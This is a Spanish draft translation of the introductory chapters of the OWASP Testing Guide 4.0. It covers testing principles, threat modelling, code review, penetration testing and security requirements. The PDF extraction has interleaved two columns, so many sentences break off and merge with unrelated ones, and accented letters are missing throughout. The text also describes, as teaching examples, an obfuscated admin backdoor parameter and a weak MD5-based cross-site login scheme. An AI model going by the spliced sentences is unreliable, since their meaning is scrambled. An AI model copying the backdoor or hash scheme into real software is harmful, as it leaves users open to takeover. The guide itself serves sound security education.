Guia de Pruebas Owasp 4.0 Español PDF
Guia de Pruebas Owasp 4.0 Español PDF
Guia de Pruebas Owasp 4.0 Español PDF
0 "Borrador"
FERNANDO VELA
ROBERTO ANDRADE
QUITO- ECUADOR
Indice
0
Pgina 6-8
1
Pgina 9-12
Frontispicio
2
Pgina 13-37
Introduction
Principios de la prueba
Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad
3
Pgina 38-41
Resumen
4
Pginas 42-313
Introduccin y objetivos
Recopilacin de informacin
Revision de los meta archivos del servidor web en busca de fugas de informacin (OTG-INFO-003)
Revisin de los comentarios del sitio web y los metadatos en busca de fujas de informacin (OTG-INFO-005)
Revisin archivos viejos, copias de seguridad y archivos no referenciados para Informacin sensible (OTG-CONFIG-004)
Pruebas de autenticacin
Pruebas de autorizacin
Pruebas en Oracle
Pruebas de MySQL
Pruebas para el envo de informacin sensible por canales sin encriptar (OTG-CRYPST-003)
Prueba del nmero de veces que limita el uso de una funcin (OTG-BUSLOGIC-005)
5
Pginas 314-331
Apndice
Libros Blancos
Libros
Categoras Fuzz
Codificacin de entrada
Codificacin de salida
0
ms importante de nuestro tiempo. El dramtico aumento de las
aplicaciones web para negocios, redes sociales, etc. slo ha
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
7
Guia de pruebas 4.0 "Borrador"
Es obvio que no se puede construir una aplicacin segura sin realizar pruebas
de seguridad en la misma. Las pruebas son parte de un enfoque ms amplio en
la construccin de un sistema seguro. Muchas organizaciones de desarrollo de
software no incluyen pruebas como parte de su procedimiento estndar de
desarrollo de software. Lo que es peor an, muchos proveedores de seguridad
entregan pruebas con diversos grados de calidad y rigor.
Crear una gua como esta es una gran tarea que requiere de la experiencia de
En conjunto con otros proyectos de la OWASP como la Gua de Revisin de
cientos de personas alrededor del mundo. Hay muchas maneras diferentes
Cdigos, la Gua de Desarrollo y Herramientas como OWASP ZAP, es un
para detectar fallos de seguridad y esta gua captura el consenso de los
gran comienzo para la construccin y mantenimiento de aplicaciones seguras. principales expertos sobre cmo realizar esta prueba con rapidez, exactitud y
La gua de desarrollo mostrar para su proyecto cmo disear y construir una eficiencia.OWASP da a personas de seguridad con conocimientos afines la
aplicacin segura, la Gua de Revisin de Cdigos le dir cmo verificar la capacidad de trabajar conjuntamente y formar un enfoque de prctica de
seguridad del cdigo de origen de su aplicacin, y esta Gua de Pruebas le liderazgo para un problema de seguridad.
mostrar cmo verificar la seguridad de su aplicacin en funcionamiento. Yo
recomiendo utilizar estas guas como parte de sus iniciativas para la seguridad
de su aplicacin.
La importancia de tener esta gua en forma totalmente libre y abierta es Los desarrolladores deben usar esta gua para asegurarse de que estn
importante para la misin de las fundaciones. Da a cualquiera la capacidad de produciendo cdigos seguros. Estas pruebas deben ser parte de los
entender las tcnicas usadas para detectar problemas de seguridad comunes. procedimientos normales de los cdigos y de la unidad de pruebas.
La seguridad no debe ser un arte oscuro o un secreto cerrado que slo unos
pocos pueden practicar. Debe estar abierta a todos y no ser exclusiva para los
profesionales en seguridad, sino tambin para desarrolladores de control de
calidad y gerentes tcnicos. El proyecto para la construccin de esta gua Los evaluadores de software y control de calidad deben usar esta gua para
mantiene la experiencia en manos de la gente que lo necesita; usted, yo y ampliar el conjunto de casos de prueba que emplean en las aplicaciones.
cualquier persona que participa en la construccin de software. Atrapar estas vulnerabilidades tempranamente es un ahorro considerable de
tiempo y esfuerzo ms adelante.
Esta gua debe abrirse paso hasta las manos de los desarrolladores y
evaluadores de software. No hay suficientes expertos de seguridad de Los especialistas en seguridad deben usar esta gua en combinacin con
aplicaciones en el mundo para hacer una abolladura significativa en el otras tcnicas como una manera de verificar que no se haya escapado algn
problema general. agujero de seguridad en la aplicacin.
Los gerentes de proyectos deben considerar la razn por la que esta gua
existe y que las cuestiones de seguridad se manifiestan mediante errores de
La responsabilidad inicial de seguridad de las aplicaciones debe recaer en los cdigo y diseo.
hombros de los desarrolladores; ellos escriben el cdigo. No debera ser una
sorpresa que los desarrolladores no estn produciendo codificacin segura si
no la estn probando o consideran los tipos de errores que generan la
vulnerabilidad. Lo ms importante cuando se realizan pruebas de seguridad es recordar que
se deben priorizar continuamente. Hay un nmero infinito de posibilidades
para que una aplicacin pueda fallar, y las organizaciones siempre han tenido
tiempo y recursos limitados. Asegrese de que el tiempo y los recursos se
Mantener esta informacin actualizada es un aspecto crtico de este proyecto utilicen adecuadamente. Trate de concentrarse en los agujeros de seguridad
de gua. Adoptando el enfoque wiki, la comunidad OWASP puede que son un riesgo real para su negocio. Trate de contextualizar el riesgo en
evolucionar y ampliar la informacin en esta gua para mantener el ritmo con cuanto a la aplicacin y sus usos.
el panorama de la veloz amenaza de seguridad a las aplicaciones.
Esta gua se visualiza mejor como un conjunto de tcnicas que puede utilizar
para encontrar diferentes tipos de agujeros de seguridad. Pero no todas las
tcnicas son igual de importantes. Trate de evitar el uso de la gua como una
Esta gua es un gran testimonio de la pasin y energa que nuestros miembros lista de verificacin. Nuevas vulnerabilidades siempre se manifestarn y
y voluntarios del proyecto han dedicado a este tema. Sin duda ayudar a ninguna gua puede ser una lista exhaustiva de "cosas por probar", sino ms
cambiar el mundo "una lnea de cdigo" a la vez. bien un gran lugar para comenzar.
En general, hay varios roles diferentes que pueden usar esta gua dentro de las
organizaciones:
Lo ms importante, estas herramientas son genricas; lo que significa que no
estn diseadas para un cdigo personalizado, sino para aplicaciones en
general. Eso significa que mientras pueden encontrar algunos problemas de las aplicaciones, pero no es exhaustiva. Si encuentra errores, por favor
genricos, no tienen suficiente conocimiento de la aplicacin para que puedan agregue una nota en la pgina de discusin o haga el cambio usted mismo.
detectar la mayora de los errores. En mi experiencia, los ms graves Estar ayudando a miles de personas que utilizan esta gua.
problemas de seguridad son los que no son genricos, sino profundamente
entrelazados en su lgica de negocio y diseo de la aplicacin personalizada.
Llamado a la accin
Eoin Keary, Miembro de la Junta Directiva de OWASP, Abri 19, 2013
Con V4 nos dimos cuenta de una nueva gua que ser la gua estndar
por defecto para realizar pruebas de Penetracin de Aplicaciones
Web. -Matteo Meucci.
Redactar la Gua de Pruebas ha demostrado ser una tarea difcil. Fue un reto Un principio bsico de la ingeniera de software es que usted no puede controlar lo
conseguir consenso y desarrollar contenidos que permitan aplicar los conceptos que no se puede medir [1]. Las pruebas de seguridad no son diferentes.
descritos en la gua, permitiendo a la vez que trabajen en su propio entorno y Desafortunadamente, medir la seguridad es un proceso difcil. Este tema no se
cultura. Tambin fue un reto el cambiar el enfoque de las pruebas de pruebas de cubrir en detalle aqu, ya que tendr su gua propia (para una introduccin, vea
penetracin a pruebas integradas en el ciclo de vida de desarrollo de las [2]).
aplicaciones web.
Un aspecto que debe destacarse es que las medidas de seguridad son acerca de las
Sin embargo, el grupo est muy satisfecho con los resultados del proyecto. Muchos cuestiones tcnicas especficas (por ejemplo, cmo prevalece una cierta
expertos de la industria y profesionales de seguridad, algunos de los cuales son vulnerabilidad) y cmo estos problemas afectan la economa del software. La
responsables de la seguridad del software en algunas de las empresas ms grandes mayora de personas tcnicas comprendern al menos las cuestiones
del mundo, estn validando el marco de la prueba. Este marco ayuda a las fundamentales, o pueden tener una comprensin ms profunda de las
organizaciones a probar sus aplicaciones web para crear software confiable y vulnerabilidades. Lamentablemente, pocos son capaces de traducir ese
seguro. El marco no solo resalta las reas dbiles, aunque este ltimo es sin duda un conocimiento tcnico en trminos monetarios y cuantificar el costo potencial de las
subproducto de muchas de las guas y listas de verificacin de OWASP. As, vulnerabilidades al negocio del propietario de la aplicacin. Hasta que esto no
decisiones difciles tuvieron que tomarse, respecto a la conveniencia de ciertas ocurra, los gerentes de sistemas (CIO) no sern capaces de calcular un retorno
tcnicas de prueba y tecnologas de pruebas. El Grupo entiende perfectamente que exacto de inversin en seguridad y, consecuentemente, asignar un presupuesto
no todos estarn de acuerdo con todas estas decisiones. Sin embargo, OWASP es apropiado para la seguridad de las aplicaciones.
capaz de alcanzar otros niveles y cambiar la cultura en el tiempo a travs de
sensibilizacin y educacin basadas en el consenso y la experiencia. Mientras que calcular el costo de software inseguro puede parecer una tarea
desalentadora, ha habido una cantidad significativa de trabajo en esta direccin. Por
ejemplo, en junio de 2002, el Instituto Nacional Estadounidense de Estndares
(NIST) public una encuesta sobre el costo del software inseguro en la economa
El resto de esta gua est organizado como se indica a continuacin: Esta de Estados Unidos, debido a la inadecuada prueba de software [3]. Curiosamente,
introduccin cubre los prerrequisitos de las pruebas de aplicaciones web y de su se estima que una mejor infraestructura de pruebas ahorrara ms de un tercio de
alcance. Tambin cubre los principios exitosos de pruebas y las tcnicas de esos costos, o alrededor de $22 mil millones al ao. Ms recientemente, los
pruebas. El Captulo 3 presenta el marco de pruebas de OWASP y explica sus vnculos entre la economa y la seguridad han sido estudiados por investigadores
tcnicas y tareas en relacin con las distintas fases del ciclo de vida del desarrollo acadmicos. Vea [4] para ms informacin sobre algunos de estos esfuerzos.
de aplicaciones. El Captulo 4 cubre cmo comprobar vulnerabilidades especficas
(por ejemplo, inyeccin de SQL) mediante inspeccin de cdigo y pruebas de
penetracin.
El marco descrito en este documento alienta a las personas a medir la seguridad a
travs del proceso completo de desarrollo. Pueden, entonces, relacionar el costo del
software inseguro con el impacto que tiene en el negocio y, en consecuencia,
Para medir la seguridad: la economa del software inseguro desarrollar procesos de negocios adecuados y asignar recursos para manejar el
riesgo. Recuerde que la medicin y pruebas de aplicaciones web son incluso ms
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
11
Guia de pruebas 4.0 "Borrador"
crticas que otros programas, ya que las aplicaciones web estn expuestas a La mayora de la gente, hoy en da, no prueba el software hasta que ya ha sido
millones de usuarios a travs de Internet. creado y est en la fase de despliegue de su ciclo de vida (es decir, el cdigo ha sido
creado y utilizado en una aplicacin web activa). Esto suele ser una prctica muy
ineficaz y con un costo prohibitivo. Uno de los mejores mtodos para impedir que
haya fallos de seguridad que aparecen en aplicaciones en produccin es mejorar el
Qu es probar? Ciclo de Vida de Desarrollo de Software (SDLC), incluyendo seguridades en cada
una de sus fases. Un SDLC es una estructura impuesta sobre el desarrollo de
Durante el ciclo de vida de desarrollo de una aplicacin web necesitan probarse artefactos de software. Si un SDLC actualmente no est siendo utilizando en su
muchas cosas, pero qu significa realmente probar? El diccionario Merriam- entorno, es hora de elegir uno! La siguiente figura muestra un modelo SDLC
Webster describe como: genrico, as como el costo creciente (estimado) de correccin de fallas de
seguridad en este modelo.
Este documento est diseado para ayudar a las organizaciones a entender lo que
comprende un programa de pruebas y para ayudarles a identificar los pasos que
deben realizarse para construir y operar un programa de pruebas en aplicaciones
web. La gua ofrece una amplia visin de los elementos necesarios para hacer un
programa comprensible de seguridad para aplicaciones web. Esta gua puede
utilizarse como una gua de referencia y metodologa para ayudar a determinar la
brecha entre las prcticas existentes y las mejores prcticas de la industria. Esta
gua permite a las organizaciones compararse con colegas del sector, para
comprender la magnitud de los recursos necesarios para probar y mantener el
software, o para prepararse para una auditora. Este captulo no entra en los detalles
Las empresas deben inspeccionar su SDLC para garantizar que la seguridad es
parte integral del proceso de desarrollo. Los SDLC deben incluir pruebas de
seguridad para garantizar que esta est adecuadamente cubierta y los controles sean
eficaces durante todo el proceso de desarrollo.
Proceso para asegurar que hay criterios y polticas adecuadas y que las No hay una bala de plata
A menos que se adopte un enfoque integral, slo probar la aplicacin tcnica de Pensar estratgicamente, no tcticamente
una aplicacin no destapar la gestin o vulnerabilidades operacionales que podran
estar presentes. Probando a las personas, polticas y procesos, una organizacin En los ltimos aos, los profesionales de la seguridad se han dado cuenta de la
puede encontrar temas que despus se manifiesten en defectos en la tecnologa, as falacia del modelo de remendar y penetrar que fue dominante en la seguridad de la
como erradicar errores tempranamente e identificar la causa de los defectos. informacin durante la dcada de 1990. El modelo de remendar y penetrar implica
Adems, slo probando algunas de las cuestiones tcnicas que pueden estar corregir un error reportado, pero sin una investigacin adecuada de la causa inicial.
presentes en un sistema resultar en una evaluacin de seguridad incompleta e Este modelo se asocia generalmente a la ventana de vulnerabilidad que se muestra
inexacta. en la figura siguiente. La evolucin de las vulnerabilidades en software comn
utilizado en todo el mundo ha demostrado la ineficacia de este modelo. Para
obtener ms informacin acerca de la ventana de la vulnerabilidad, consulte [6].
y sugerencias. Especialmente nos gusta saber que nuestro trabajo est siendo
utilizado y que es eficaz y preciso.
Figura 2: Ventana de vulnerabilidad
Hay algunos errores comunes al desarrollar una metodologa de pruebas para
encontrar las fallas de seguridad en el software. Este captulo cubre algunos de los
principios bsicos que los profesionales deben tomar en cuenta al realizar pruebas
de seguridad en el software.
Hay varios marcos seguros de SDLC que ofrecen consejos tanto descriptivos como
prescriptivos. Si una persona toma el consejo descriptivo o preceptivo, depende de
la madurez del proceso de SDLC. Esencialmente, el asesoramiento prescriptivo
muestra cmo debe trabajar el SDLC seguro y el asesoramiento descriptivo
muestra cmo debe usarse en el mundo real. Ambos tienen su lugar.
Por ejemplo, si no sabe por dnde empezar, un marco prescriptivo puede herramientas automatizadas son realmente malas al realizar pruebas de
proporcionar un men de controles de seguridad potenciales que pueden aplicarse vulnerabilidad automticamente es que este pensamiento creativo debe hacerse
en el SDLC. El asesoramiento descriptivo puede entonces impulsar el proceso de caso por caso, ya que la mayora de las aplicaciones web se desarrollan de una
decisin mediante la presentacin de lo que ha funcionado bien para otras manera nica (aun cuando usen marcos comunes).
organizaciones. SDLC descriptivos seguros son BSIMM-V, y SDLC prescriptivos
seguros incluyen el Software Abierto de Modelo de Garanta de Madurez de
OWASP (OpenSAMM) y el ISO/IEC 27034, partes 1-8, segmentos del cual
todava estn en desarrollo. Entender el tema
constantemente y los desarrolladores deben ser conscientes de las amenazas que Aunque ya hemos indicado que no hay ninguna herramienta perfecta, las
afectan al software que estn desarrollando. La educacin en pruebas de seguridad herramientas juegan un papel crtico en el programa general de seguridad. Hay una
tambin ayuda a los desarrolladores a adquirir la mentalidad apropiada para probar gama de herramientas de cdigo abierto y herramientas comerciales que pueden
una aplicacin desde la perspectiva de un atacante. Esto permite a cada automatizar muchas tareas rutinarias de seguridad. Estas herramientas pueden
organizacin considerar los problemas de seguridad como parte de sus simplificar y acelerar el proceso de seguridad al ayudar al personal de seguridad en
responsabilidades actuales. sus tareas. Sin embargo, es importante entender exactamente lo que estas
herramientas pueden y no pueden hacer para que no se sobrevaloren o se utilicen
incorrectamente.
Es importante saber cunta seguridad requerir un proyecto. La informacin y los El Diablo se encuentra en los detalles
activos que deben ser protegidos debern tener una clasificacin que establezca
cmo deben ser manejados (por ejemplo, confidencial, secreto, ultra secreto). Las Es fundamental no realizar una revisin superficial de la seguridad de una
discusiones deben llevarse a cabo con consejo legal para asegurarse de que se aplicacin y considerarla completa. Esto generar una falsa sensacin de confianza
cumplan los requisitos de seguridad especficos. En E.E.U.U., los requisitos que puede ser tan peligrosa como el no haber hecho una revisin de seguridad
podran venir de regulaciones federales, como la ley de Gramm-Leach-Bliley [8], o desde un inicio. Es vital revisar los hallazgos y descartar
de las leyes estatales, como la ley de California SB-1386 [9]. Para organizaciones
con sede en pases de la UE, tanto los reglamentos del pas como las directivas de
la UE pueden aplicar. Por ejemplo, la Directiva 96/46/EC4 [10] que obliga a tratar
los datos personales con el debido cuidado, cualquiera que sea la aplicacin. cualquier falso positivo que pueda haber en el informe. Reportar un hallazgo de
seguridad incorrecto a menudo puede minar la validez del resto del informe de
seguridad. Debe tener cuidado de verificar que cada seccin de la lgica de la
aplicacin ha sido probada, y que cada escenario de casos de usos fue explorado
Desarrollar la mentalidad correcta para encontrar posibles vulnerabilidades.
disponible, debera entregarse al personal de seguridad para ayudar a realizar su Utilizar una plantilla de informe de pruebas de seguridad puede ahorrar
revisin. Es posible descubrir vulnerabilidades dentro de la fuente de la aplicacin tiempo y asegurar que los resultados sean documentados con precisin y
que pasaron desapercibidas con la prueba de la Caja Negra. consistencia y estn en un formato adecuado para el grupo objetivo.
Desarrollar mtricas
Modelado de Amenazas
Las mtricas constantes que se pueden generar de manera automatizada desde
el cdigo fuente disponible tambin ayudarn a la organizacin en la
Revisin de Cdigo
evaluacin de la efectividad de los mecanismos creados para reducir los fallos
de seguridad en el desarrollo de software. Las mtricas no se desarrollan
Pruebas de Penetracin
fcilmente, as que usar mtricas estndar como las previstas por el proyecto
de mtricas OWASP y otras organizaciones es un buen punto de partida.
Como con muchas cosas en la vida, al realizar inspecciones manuales y Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque
revisiones, es recomendable adoptar un modelo de "confe pero verifique". No simple que sigue el estndar NIST 800-30 [11] de evaluacin del riesgo. Este
todo lo que el evaluador muestre o diga ser preciso. enfoque implica:
Ventajas:
Creacin de modelos de amenazas
Vista prctica del sistema desde el punto de vista del atacante.
Resumen Flexible
La creacin de modelos de amenazas se ha convertido en una tcnica popular Se inicia temprano en el SDLC.
para ayudar a los diseadores de sistemas a pensar sobre las amenazas de
seguridad que podran enfrentar sus sistemas y aplicaciones. Por lo tanto, la
creacin de modelos de amenazas puede verse como la evaluacin de riesgo
para las aplicaciones. De hecho, permite al diseador desarrollar estrategias de Desventajas:
mitigacin para las vulnerabilidades potenciales y les ayuda a focalizar su
inevitable escasez de recursos y atencin en las partes del sistema que ms lo Tcnica relativamente nueva.
requiere. Se recomienda que todas las aplicaciones tengan un modelaje de
amenazas desarrollado y documentado. Los modelos de amenazas deben Buenos modelos de amenazas no significan automticamente buenas
crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona aplicaciones.
la aplicacin y el desarrollo progresa.
Las pruebas de penetracin han sido, por muchos aos, una tcnica comn
utilizada para probar la seguridad de la red. Tambin se las conoce
comnmente como pruebas de Caja Negra o piratera (hacking) tica. Las
Muchos problemas de seguridad no intencionales, pero significativos, son
pruebas de penetracin son esencialmente el "arte" de probar una aplicacin
tambin extremadamente difciles de descubrir mediante otras formas de
en ejecucin remotamente para encontrar vulnerabilidades de seguridad, sin
anlisis o pruebas, como las pruebas de penetracin; hacen del anlisis de
saber el funcionamiento interno de la aplicacin. Por lo general, el equipo de
cdigo fuente la tcnica elegida para la prueba tcnica. Con el cdigo fuente,
pruebas de penetracin tendra acceso a una aplicacin como si fuera usuario.
un evaluador puede determinar con precisin lo que est sucediendo (o se
El evaluador acta como un intruso e intenta encontrar y explotar
supone que sucede) y eliminar la conjetura de la prueba de Caja Negra.
vulnerabilidades. En muchos casos, al evaluador se le dar una cuenta vlida
en el sistema.
Ventajas:
Muchas personas utilizan hoy en da las pruebas de penetracin como su
Finalizacin y efectividad.
tcnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en
un programa de pruebas, no creemos que debe ser considerada como la tcnica
Precisin.
principal o la nica. Gary McGraw en [14] resumi bien a las pruebas de
Es rpida (para correctores competentes). penetracin cuando dijo: "Si fallas una prueba de penetracin, sabes que tienes
un problema muy malo en verdad. Si pasas una prueba de penetracin, no sabes
si tienes un problema muy malo". Sin embargo, las pruebas de penetracin
focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas
Desventajas: y detectadas en revisiones anteriores) pueden ser tiles en la deteccin si
realmente se arreglan algunas vulnerabilidades especficas en el cdigo desafen todos los supuestos, tales como el no acceso al cdigo fuente y el explorar
desplegado en el sitio web. la posibilidad de realizar pruebas ms completas.
Aunque es claro que no existe una tcnica nica que pueda realizarse para cubrir
eficientemente todas las pruebas de seguridad y asegurarse de que todos los temas En la siguiente figura se muestra una tpica representacin proporcional
sobrepuesta a las pruebas tcnicas.
han sido abordados, muchas empresas adoptan slo una aproximacin. El enfoque
utilizado ha sido histricamente pruebas de penetracin. Las pruebas de
penetracin, aunque tiles, no pueden abordar eficazmente muchos de los temas
que deben analizarse. Simplemente es "muy poco y muy tarde" en el ciclo de vida
del desarrollo de software (SDLC). Figura 4: Proporcin de prueba de esfuerzo segn prueba tcnica
Por supuesto, hay momentos y circunstancias donde solo es posible usar una
tcnica. Por ejemplo, una prueba en una aplicacin web que ya ha sido creada, pero
donde el grupo de pruebas no tiene acceso al cdigo fuente. En este caso, las
pruebas de penetracin son claramente mejores que no hacer ninguna prueba en
absoluto. Sin embargo, se recomienda que las personas encargadas de la prueba
Una nota acerca de los escneres de aplicaciones Web:
Muchas organizaciones han empezado a utilizar escneres de aplicaciones web Mirando el cdigo, la vulnerabilidad prcticamente salta de la pgina como un
automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, problema potencial.
algunos temas fundamentales deben ser resaltados porque se cree que las pruebas
de Caja Negra automatizadas no son (o sern algn da) eficaces. Sin embargo,
destacar estos temas no debera desalentar el uso de los escneres de aplicacin
web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, Ejemplo 2: Mala criptografa
as, los marcos de pruebas se planeen adecuadamente.
La criptografa es ampliamente utilizada en aplicaciones web. Imagine que un
desarrollador decidi escribir un algoritmo de criptografa simple para autenticar un
usuario desde el sitio A al sitio B automticamente. En su sabidura, el
Importante: OWASP actualmente est trabajando para desarrollar una plataforma desarrollador decide que si un usuario est conectado en el sitio A, entonces
de escaneo mediante una evaluacin comparativa. Los ejemplos siguientes generar una clave utilizando una funcin de hash MD5 que comprende: Hash
muestran por qu las pruebas automatizadas de Caja Negra son ineficaces. {username: fecha}.
'Ejemplo 1: Los parmetros mgicos' Cuando un usuario se pasa al sitio B, l o ella le enviar la clave en la cadena de
consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente
Imagine una aplicacin web simple que acepte un par nombre-valor de "magia" y calcula el valor hash y compara con el hash pasado en la peticin. Si coinciden, el
luego el valor. Para simplificar, la solicitud GET puede ser: sitio B autentica al usuario como dice ser.
http://www.host/application?magic=value Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda
el esquema (o se le diga cmo funciona, o descargue la informacin de Bugtraq)
Para simplificar ms el ejemplo, los valores en este caso solo pueden ser caracteres puede iniciar una sesin como cualquier usuario.
ASCII a-z (maysculas o minsculas) y nmeros enteros 0 9.
La inspeccin manual, como una revisin o inspeccin de cdigo, habra
descubierto rpidamente este problema de seguridad. Un escner de aplicaciones
web de Caja Negra no habra descubierto la vulnerabilidad. Habra visto un hash de
Los diseadores de esta aplicacin crearon una puerta trasera de administracin 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no
durante la prueba, pero la ofuscaron para evitar que un observador casual pueda cambi en una manera predecible.
descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el
usuario, entonces, se conectar y tendr una pantalla administrativa con el control Una nota sobre las herramientas de revisin de cdigos fuente estticas:
total de la aplicacin. La solicitud HTTP es ahora:
Muchas organizaciones han comenzado a usar escneres estticos de cdigos
http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d fuente. Aunque, sin duda, tienen un lugar en un programa de pruebas
comprehensivo, es necesario resaltar algunas cuestiones fundamentales acerca de
por qu este enfoque no es eficaz cuando se utiliza solo. El anlisis de cdigo
fuente esttico no puede identificar los problemas debidos a fallas en el diseo, ya
Dado que todos los otros parmetros fueron campos simples de dos y tres que no puede entender el
caracteres, no es posible adivinar combinaciones de aproximadamente 28
caracteres. Se necesitara la fuerza bruta de un escner de aplicaciones web (o
adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^
28 permutaciones, o trillones de peticiones HTTP. Esto es un electrn en un pajar contexto en el que se construye el cdigo. Las herramientas de anlisis de cdigo
digital. fuente son tiles en la determinacin de problemas de seguridad debido a errores de
codificacin; sin embargo, se requiere un esfuerzo manual significativo para validar
los resultados.
seguridad conducen efectivamente las pruebas de seguridad durante el SDLC y Otra seccin de la lista de verificacin debe cumplir con los requisitos generales
cmo se pueden utilizar los datos de pruebas de seguridad para gestionar para el cumplimiento de las polticas y normas de seguridad de informacin de la
eficazmente los riesgos de seguridad de software. organizacin. Desde la perspectiva de los requisitos funcionales, los requisitos para
el control de seguridad deben guiar a una seccin especfica de las normas de
seguridad de la informacin. Un ejemplo de tal requisito puede ser: "la complejidad
de la contrasea de seis caracteres alfanumricos debe aplicarse por los controles de
Objetivos de realizar pruebas autenticacin utilizados por la aplicacin". Cuando los requisitos de seguridad
apuntan hacia normas que deben ser cumplidas, una prueba de seguridad puede
Uno de los objetivos de las pruebas de seguridad es validar que los controles de validar la exposicin de riesgos de cumplimiento. Si se encuentra una violacin a
seguridad funcionan como se espera. Esto se documenta por medio de requisitos de las polticas y normas de seguridad de la informacin, sta resultar en un riesgo
seguridad que describen la funcionalidad del control de seguridad. En un nivel alto, que puede ser documentado y que la empresa tiene que gestionar. Puesto que estos
esto significa comprobar la confidencialidad, integridad y disponibilidad de los requisitos de seguridad son exigibles, estos deben estar bien documentados y
datos, as como el servicio. El otro objetivo es validar que los controles de validados con pruebas de seguridad.
seguridad se implementen con pocas o ninguna vulnerabilidad. Hay
vulnerabilidades comunes, tales como el OWASP Top Ten, as como las
vulnerabilidades que se han identificado previamente en evaluaciones de seguridad
durante el SDLC, como modelaje de amenazas, anlisis de cdigo fuente y prueba Validacin de requisitos de seguridad
de penetracin.
Desde la perspectiva de funcionalidad, la validacin de requisitos de seguridad
Documentacin de requisitos de seguridad es el principal objetivo de las pruebas de seguridad. Desde la perspectiva de la
gestin de riesgo, la validacin de requisitos de seguridad es el objetivo de las
El primer paso en la documentacin de requisitos de seguridad es entender los evaluaciones de seguridad de informacin. En un nivel alto, el principal objetivo
requerimientos del negocio. Un documento de requisitos del negocio puede de las evaluaciones de seguridad de informacin es la identificacin de grietas en
proporcionar informacin inicial de alto nivel sobre la funcionalidad esperada de la los controles de seguridad, tales como la falta de controles bsicos de
aplicacin. Por ejemplo, el propsito principal de una aplicacin puede ser autenticacin, autorizacin o controles de encriptado. Ms a profundidad, el
proporcionar servicios financieros a clientes o permitir adquirir bienes de un objetivo de la evaluacin de seguridad es el anlisis de riesgo, tal como la
catlogo en lnea. Una seccin de seguridad de los requerimientos del negocio debe identificacin de las debilidades potenciales en los controles de seguridad que
resaltar la necesidad de proteger los datos del cliente, as como cumplir con la garanticen la confidencialidad, integridad y disponibilidad de los datos. Por
documentacin de seguridad aplicable, tal como regulaciones, estndares y ejemplo, cuando la aplicacin trata con informacin personal identificable (PII)
polticas. y datos sensibles, el requisito de seguridad a validar es el cumplimiento de las
polticas de seguridad de la empresa en cuanto al encriptado de la informacin
de dichos datos tanto en trnsito como en almacenamiento.
Una lista general de las regulaciones, estndares y polticas es un buen anlisis de Asumiendo que el cifrado se utiliza para proteger los datos, los algoritmos de
cumplimiento de seguridad preliminar para las aplicaciones web. Por ejemplo, el cifrado y longitud de claves deben cumplir con los estndares de encriptacin de
cumplimiento de las reglamentaciones puede identificarse revisando informacin la organizacin. Estos pueden requerir que solo se utilice ciertos algoritmos y
del sector empresarial y del pas o estado donde funcionar la aplicacin. Algunas longitudes de clave. Por ejemplo, un requisito de seguridad que puede ser
de estas normas y directrices de cumplimiento podran traducirse en requerimientos probado es verificar que se utilizan slo cdigos permitidos (por ejemplo, SHA-
tcnicos especficos para controles de seguridad. Por ejemplo, en el caso de 256, RSA, AES) con longitud de claves mnimas permitidas (por ejemplo, ms
aplicaciones financieras, el cumplimiento de las pautas de la FFIEC para de 128 bits para encriptado simtrico y de ms de 1024 para encriptado
autenticacin [15] requiere que las instituciones financieras implementen asimtrico).
aplicaciones que mitiguen los riesgos de autenticacin dbil con autenticacin de
mltiples etapas y control de seguridad multifactorial.
posible derivar mejor los casos de prueba de seguridad y aumentar el nivel de una funcin hash para cifrar una contrasea, sin la aplicacin de una semilla en
proteccin de los requisitos de seguridad. Por ejemplo, distinguir las verdaderas el valor. Desde la perspectiva de codificacin segura, se trata de una
vulnerabilidades de los no-explotables es posible cuando se combinan los vulnerabilidad que afecta a la encriptacin usada para la autenticacin con una
resultados de pruebas de penetracin y anlisis de cdigo fuente. Considerando vulnerabilidad cuya causa est en el error de codificacin. Puesto que la causa es
la prueba de seguridad para una vulnerabilidad de inyeccin de un S L, por una codificacin insegura, el requisito de seguridad puede ser documentado en
ejemplo una prueba de Caja Negra,en primer lugar, podra involucrar un anlisis las normas de codificacin seguras y validado a travs de revisiones de cdigo
de la aplicacin para identificar la vulnerabilidad. La primera evidencia de una seguro durante la fase de desarrollo de la SDLC.
potencial vulnerabilidad de inyeccin de una SQL que puede ser validada es la
generacin de una excepcin de la SQL. Una
validacin posterior de la vulnerabilidad de la SQL puede implicar inyectar Los requerimientos de seguridad deben tomar en cuenta la gravedad de las
manualmente vectores de ataque para modificar la gramtica de la consulta SQL vulnerabilidades para apoyar una estrategia de mitigacin de riesgo. Asumiendo
para explotar la divulgacin de la informacin. Esto podra involucrar una gran que la organizacin mantiene un registro de vulnerabilidades en aplicaciones (es
cantidad de anlisis de ensayo y error hasta que la consulta daina se ejecute. decir, una base de conocimiento de vulnerabilidades), los temas de seguridad
Suponiendo que el evaluador tenga el cdigo fuente, ella puede aprender a partir pueden ser reportados por tema, tipo, causa principal, mitigacin y direccionados
del anlisis de cdigo fuente, como construir el vector de ataque de la SQL que a las aplicaciones donde se encuentran. Tal base de conocimiento de
puede explotar la vulnerabilidad (por ejemplo, ejecutar una consulta maliciosa vulnerabilidades tambin puede utilizarse para establecer mtricas para analizar
que devuelve datos confidenciales a un usuario no autorizado). la eficacia de las pruebas de seguridad en el SDLC.
La clasificacin de amenazas y defensas, que considera la raz de las Por ejemplo, considere un problema de validacin de entrada, como una
vulnerabilidades, es el factor crtico en la verificacin de que los controles de inyeccin de SQL, que se identific a travs del anlisis del cdigo fuente y
seguridad sean diseados, codificados y construidos para mitigar el impacto de registrado con una causa principal de error de codificacin y tipo, una
la exposicin de esas vulnerabilidades. En el caso de las aplicaciones web, la vulnerabilidad de validacin de entrada. La exposicin de esta vulnerabilidad
